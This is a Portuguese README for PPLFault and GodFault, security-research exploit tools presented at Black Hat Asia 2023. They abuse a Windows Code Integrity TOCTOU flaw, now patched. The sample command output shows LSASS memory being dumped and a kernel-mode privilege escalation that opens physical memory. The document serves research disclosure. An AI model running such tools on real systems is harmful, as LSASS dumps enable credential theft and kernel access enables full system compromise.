PPLFault

Por Gabriel Landau da Elastic Security.

Do PPLdump Is Dead. Long Live PPLdump! apresentado no Black Hat Asia 2023.

PPLFault

ATUALIZAÇÃO DE 2024-02: A Microsoft corrigiu o PPLFault em 2024-02-13. Consulte este tópico para discussão relacionada.

Explora uma condição TOCTOU no Windows Code Integrity para obter execução arbitrária de código como WinTcb-Light e então despejar um processo especificado. Para mais detalhes sobre a exploração, veja meus slides e/ou palestra.

Exemplo de Saída

PS C:\Users\user\Desktop> cmd /c ver

Microsoft Windows [Version 10.0.25346.1001]
PS C:\Users\user\Desktop> tasklist | findstr lsass
lsass.exe                      992 Services                   0     76,620 K
PS C:\Users\user\Desktop> (Get-NtProcess -Access QueryLimitedInformation -Pid 992).Protection

Type           Signer
----           ------
ProtectedLight Lsa


PS C:\Users\user\Desktop> dir *.dmp
PS C:\Users\user\Desktop> .\PPLFault.exe -v 992 lsass.dmp
 [+] No cleanup necessary.  Backup does not exist.
 [+] GetShellcode: 528 bytes of shellcode written over DLL entrypoint
 [+] Benign: C:\Windows\System32\EventAggregation.dll.bak
 [+] Payload: C:\PPLFaultTemp\PPLFaultPayload.dll
 [+] Placeholder: C:\PPLFaultTemp\EventAggregationPH.dll
 [+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll
 [+] Ready.  Spawning WinTcb.
 [+] SpawnPPL: Waiting for child process to finish.
 [+] FetchDataCallback called.
 [+] Hydrating 90112 bytes at offset 0
 [+] Switching to payload
 [+] Emptying system working set
 [+] Working set purged
 [+] Give the memory manager a moment to think
 [+] Hydrating 90112 PAYLOAD bytes at offset 0
 [+] Dump saved to: lsass.dmp
 [+] Dump is 74.9 MB
 [+] Operation took 937 ms
PS C:\Users\user\Desktop> dir *.dmp


    Directory: C:\Users\user\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          5/1/2023  11:18 AM       78581973 lsass.dmp

GodFault

Explora a mesma condição TOCTOU que o PPLFault. Porém, em vez de despejar um processo, ele migra para o CSRSS e explora uma vulnerabilidade em win32k!NtUserHardErrorControlCall do ANGRYORCHARD para decrementar KTHREAD.PreviousMode de UserMode (1) para KernelMode (0). Isso prova o acesso "God Mode" abrindo \Device\PhysicalMemory, normalmente inacessível a partir de UserMode, como SECTION_ALL_ACCESS.

Exemplo de Saída

C:\Users\user\Desktop>GodFault.exe -v
 [?] Server does not appear to be running.  Attempting to install it...
 [+] No cleanup necessary.  Backup does not exist.
 [+] GetShellcode: 2304 bytes of shellcode written over DLL entrypoint
 [+] CSRSS PID is 772
 [+] Benign: C:\Windows\System32\EventAggregation.dll.bak
 [+] Payload: C:\GodFaultTemp\GodFaultPayload.dll
 [+] Placeholder: C:\GodFaultTemp\EventAggregationPH.dll
 [+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll
 [+] Testing initial ability to acquire PROCESS_ALL_ACCESS to System: Failure
 [+] Ready.  Spawning WinTcb.
 [+] SpawnPPL: Waiting for child process to finish.
 [+] FetchDataCallback called.
 [+] Hydrating 90112 bytes at offset 0
 [+] Switching to payload
 [+] Emptying system working set
 [+] Working set purged
 [+] Give the memory manager a moment to think
 [+] Hydrating 90112 PAYLOAD bytes at offset 0
 [+] Thread 6248 (KTHREAD FFFFA283B0A62080) has been blessed
 [+] Testing post-exploit ability to acquire PROCESS_ALL_ACCESS to System: Success
 [+] Opened \Device\PhysicalMemory.  Handle is 0x1b4
 [+] Opened System process as PROCESS_ALL_ACCESS.  Handle is 0x1c0
 [+] Press any key to continue...
 [+] No cleanup necessary.  Backup does not exist.

Python

PoC que alcança execução arbitrária de código como WinTcb-Light sem a API CloudFilter. Consulte python/README.md.

Plataformas Testadas

	Windows 11 22H2 22621.1702 (maio de 2023)	Windows 11 Insider Canary 25346.1001 (abril de 2023)
PPLFault	✔️	✔️
GodFault	✔️	❌ Mitigação de PreviousMode do Insider bugchecks

Licença

PPLFault é coberto pela licença ELv2. Ele usa phnt do SystemInformer sob a licença MIT.

Créditos

Inspirado no PPLdump por Clément Labro, que a Microsoft corrigiu em julho de 2022.

ANGRYORCHARD foi criado por Austin Hudson, que o lançou quando a Microsoft corrigiu o PPLdump.